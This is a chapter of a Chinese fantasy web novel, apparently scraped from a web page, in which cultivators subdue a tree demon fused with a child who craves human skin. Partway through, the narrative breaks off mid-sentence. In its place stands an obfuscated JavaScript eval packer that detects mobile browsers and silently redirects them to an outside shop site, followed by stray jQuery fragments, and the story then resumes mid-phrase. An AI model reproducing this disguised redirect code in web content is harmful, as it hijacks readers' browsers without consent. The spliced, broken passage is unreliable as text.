6. 未罄
    话音刚落,风之念挥袖闪现怜影轩。

    和内院大厅精巧雅致的布置天差地别,主母院的房屋门窗破败不堪,荒芜杂乱如同一个长久无居的别院。

    她两指微微并拢,不远处斜倒的井亭下冒出一团黑气,又翻转手腕,井沿上扒起两臂,树妖露出脑袋,脸上树轮般的血纹崩裂,暗红的眼睛中透露着恨意。

    风之念淡淡道:“出来吧,长痛不如短痛。”

    她反控妖兽不似召唤精灵那样需要以内力为报酬与之达成契约,任何妖兽哪怕只吸取了风之念半分内力,就必会受到她的约束。

    树妖皮肤开裂,状似三岁小孩,它双手攥拳,紧抱着亭柱不想按照指令离开井边。然而,一块锋利的石片突然飞来,腕间缝合的细线崩裂,它的新左手被瞬间截断,从江云婷身上扒来的人皮还没完全融入身体就脱落在地。

    听着它痛喊,风之念面若冰霜。而作为人妖的结合体,树妖会作恶也会求饶,明白现在打不过便哭道:“你能不能不要那么残忍?我从小就被迫和树妖一体,我就想像个正常人一样有错吗?”

    无论大小妖兽,也不管是否化成半人半妖或者全人体貌,只要作恶,就必须受到惩罚。树妖与稚子共生,虽有人性但其存在本就违背天理,更是心存恶念,留之无益。风之念一如往常,没有丝毫犹豫,再次抬手。

    树妖感到有一股不属于自己的内力如同锐利的匕首在体内游离,寸寸逼近心脏藏着内丹的位置。它蜷缩在一起,痛不欲生地用全部的法力护住心脉的同时,忍不住分神向对面的人骂道:“这就是你说的短痛?!”

    “嗯。”风之念如实回答,想到以前牛妖杀人后犁完百亩土地后撞墙自杀认罪,鼠怪偷粮食后帮佃农挖了三年的土坑种菜,包吃包住最后寿终正寝,它们尚且为自己做过的恶事付出代价有所忏悔,而这树妖毫无用处,抛出根系来当柴火还浪费人力,她觉得直接挖出内丹已算宽恕。

    一路急奔,花染一脚踹开大门后顿时愣住,从没料到的画面出现在眼前,一间破旧园子里,一个树根人偶在满地打滚,一个披头散发的白衣女子坐在石凳上安静地调理内息。

    花栎则很快接受了这副场面,站在门外满腹疑问:她到底是什么人,修为高到能够布下最高品阶的火煞阵,竟然还会闪身术?

    趴在地上扭成麻花的妖怪看到怔在门外的两人,央求道:“给…给我个痛快,能不能直接剜出来妖丹,我受不了了。”

    树妖和幼子身体融合后,唯面部的皮肤留存最多,眼泪伴着血水而下,就像被普通树妖吞掉身体,只剩半个身体在外求救的娃娃。赶来的两人顿时明白为什么风之念开听障禁制不够还闭上双眼了。

    花栎握紧剑柄,心想以自己剑力还不能直接生剜妖力丰盈的妖丹,别过脸不看它道:“抱歉,只有等你妖力大减或不在体内流转之时,我们才能把封存你剩余妖力的妖丹剥出。”

    “你们活阎王啊!”树妖越是护住心脉,身体中内力就越是强劲,心脏就像被一只大手狠狠抓住,呼吸越来困难。忽见门外偷偷跟来的江鸿鸣,它恨意骤起,忍着剧痛发泄:“江鸿鸣!你为什么要让我来到这个世上!都是你让我变成这种不人不妖的模样!都是你找来树妖害的我!”

    花栎、花染闻言一愣,听树妖的语气,江老爷竟然知道自己的儿子变成了树妖?

    风之念发觉地上的树根破土暴露,顿感不妙,即使她封住了树妖心脉让它不能再运转转妖力,但妖丹不毁,地下的根系依旧可以继续作乱,江鸿鸣的气息更是带来了不小的刺激。

    两人回过神后纷纷拔剑再次和树根相斗,火光飞闪,树根不能靠近就拆卸房屋,将木梁杂物乱扔一气,双方勉强相抵。

    满脸泪痕的江鸿鸣仍旧沉浸在丧女的悲痛里,“你要杀就来杀我,别去害你妹妹啊,她是你妹妹啊!”

    “妹妹?!你害我娘跳井,把我制成树妖,还他娘的想让我认你的女儿当作妹妹?”树妖的痛苦马上被心中的旧伤代替,艰难地站起身冲着江鸿鸣怒吼:“别再和我说,你是为了找到我,才引那棵树妖入井的,你要真得想要我活下去,就应该给我人皮!我要的是人皮。我娘的,你的,或者那个死丫头的,都可以!我只想想一个正常人一样活着有错吗!可你呢?整整二十年,二十年!你一次次骗我会找到办法,会让我正常长大,但这就是你的方法吗?带着一群人来杀了我?”

    因树妖是人妖双修的变异体,妖身会被控制但人心不会,受刺激后它将体内的妖力全部转化为内力,并逐渐将体内不属于自己的刀绞般的属于风之念的内力清除出去。花栎、花染和树根相斗,已经无暇顾及江鸿鸣的安危。

    风之念躲避着树妖的猛烈袭击,手边有没有任何武器,只能死马当活马医,她快速念诀道:“枯木逢春,生生不息。”

    按照江家下人和乳娘的说法,沉睡的人参精就在这怜影轩地底下,她以恢复的全部内力作为交换,去感应这地底下不知有无的活物。

    若成,百年人参精被唤醒,能帮忙彻底铲除这烦人的根系,若不成,树妖继续发作,等她在书院的火煞阵失去作用,整个江府都有可能化作废墟。

    江老爷失魂落魄地跌落在地,花染想要抽身想要为他封住灵脉,但迎面就是一道霹雳掌。

    花栎一把推开花染,看着地下的树根慢慢啃噬钻入江鸿鸣的身体,和乳娘包裹全身的方法不同,它们的目的是抽骨放血,生剥人皮。江鸿鸣被妖灵附体后,皮肤更似树皮,鲜红的竖纹在脖颈裂开,枯瘦的面颊被妖力憋得涨红,额上冒出豆大的汗珠。

    见状,树妖哭笑着嚎叫:“看吧,我马上就能变成真的人了。”

    江鸿鸣被悬空架起,还剩脑袋还没有被妖灵控制,忍着痛意咬牙道:“江慕!今日是你二十岁生辰,你妹妹云婷还为你准备了礼物!”树妖笑意凝固,脑袋后转,漠然道:“是吗?我也给她准备了礼物,一件她最喜欢颜色的衣服。”

    那件同是藕荷色的血衣,刘管家一眼认出的邱娘子的旧物,正是二十岁前江慕的母亲跳井时所穿的衣服。

    风之念感受到一股醇厚灵力的回应后一刻也不想再听他们之间的恩怨,她立刻翻手结印,最先将江鸿鸣身边的树根化作灰烬。

    一个散发着金光的小人突然在身边走过,花栎和花染第一次看到百年人参精主动现身,惊喜万分,回忆起书中的描述,对照着脑海中的想象,几乎没有差别,它留着长长的胡须,身量和树妖相差无几,唯一奇怪地方就是臀部,有一大块缺陷,走路时体态不稳,像一个醉翁老头。

    人参精笑眯眯慢悠悠地走到院子中央,散发的金色根须将地面和房屋上的树根全部剿灭干净。

    又一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143321|150196||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    声巨响,它来时慢去时快,眨眼间就回到了地里。

    树妖发现体外所有的妖力被瞬间耗尽,有些发懵地问道:“它刚才那么大声干嘛了?”

    花栎道:“给了你一耳巴子。”

    花染道:“你是不是咬过人家的屁股?扇完你,它腚就完全了。”

    “不是我,我没有,不是我干的,是这树妖从前为了偷它的灵力咬的!”江慕歇斯底里地将剩余的内力重新化作妖力,长出像成人的身体。

    风之念内力已经耗尽,花栎花染也受伤躺在墙角,只能看着妖灵已经撑起的人皮衣服,而面目狰狞的江慕唯一的目的就是进入其中,获得真正的肉/体。

    正当此时,一阵悠扬的埙声传来,曲调仿佛山间清泉,缓缓流淌令人头脑明澈,又宛若徐风回荡幽谷直击心灵。

    乐灵器可以净化妖力,乐声中隐匿的内力似巨石碾压,江慕的身体逐渐消退,绝望地朝向江鸿鸣爬去,在他只差一寸就要摸到人皮时,一颗暗沉没有光泽的红色妖丹滚落在地。

    不知不觉中,整个院落焕然一新,江鸿鸣的身边长出了嫩绿的芽叶和白色的小花。

    人参并没有起死回生的功效,成精后也不会再吸取灵力,相反,它会在地底游行,停留在荒芜之地,聚集灵力,使之重获生机。

    三人看着第一缕阳光,一起靠墙而坐。

    风之念紧盯着正门外的方向,那人一袭玄色冰丝睡袍,腰间系着一尊七孔陶埙,柔顺的黑发被晨风吹起,柔光撒在脸上,眉目清扬,细看汗水似乎沾湿了额边的碎发。

    书院里的阵法失效,听到埙声的人蜂拥而至,他被围困在在怜影轩外。

    “沈大哥怎么才来啊!”花染劫后重生感油然而生,看到来人后喜极而泣,“我从蝉鸣馆来的时候,他明明说一会儿就来的啊,呜呜呜呜——”

    花栎筋疲力竭道:“馆内人需要救治,而且统领也不知道这里有树妖作乱,别哭了,一会儿帮你疗伤。”

    风之念艰难地移开目光,知道他是阁中人后彻底放心,心想:术业有专攻,剩下的事情自己绝不会再管了。

    而江府里死而无尸、溺水而亡、抽骨扒皮的当事人都没了,花栎立即想到他们十分需要一个在场但无关第三方证人,他抬头发现风之念正要离开,立刻起身挽留道:“姑娘请留步,此番相助,于私,我们兄弟欠你两条人命,于公,蝉鸣馆传信阁主必定重谢。姑娘不喜嘈杂,朝雾阁灵力富饶,姑娘可随我们一同返回,寻一静地修复内力。”

    花染抹开眼泪,也扶墙站起来跟着哥哥拱手:“今日的事,我们知道内情不会怀疑你,但江府里的人不一定,你要是就这么走了不澄清,你的名声真得会受损的。”

    旋即,就像是在应验两人的言论,门口的“妖女”谈论再次传入她的耳中,风之念侧身回视,烦躁地去找寻乱说话的人,然而看到沈洛凡低头静听的模样后,心中又平静下来。

    “无妨。”她对着始终没有认出自己的两位师弟解释道:“不必那么客气,我有事着急不能和你们回去,但我和你们阁主相识,这件事我会写下详细过程告知他的。”

    风之念在神山静修三年,得知阿姐的婚期后,归心似箭,此番提前出山,就是想要突然回去给家人一个惊喜。

    未留下姓名,她匆匆辞别,从后院小门处消失不见。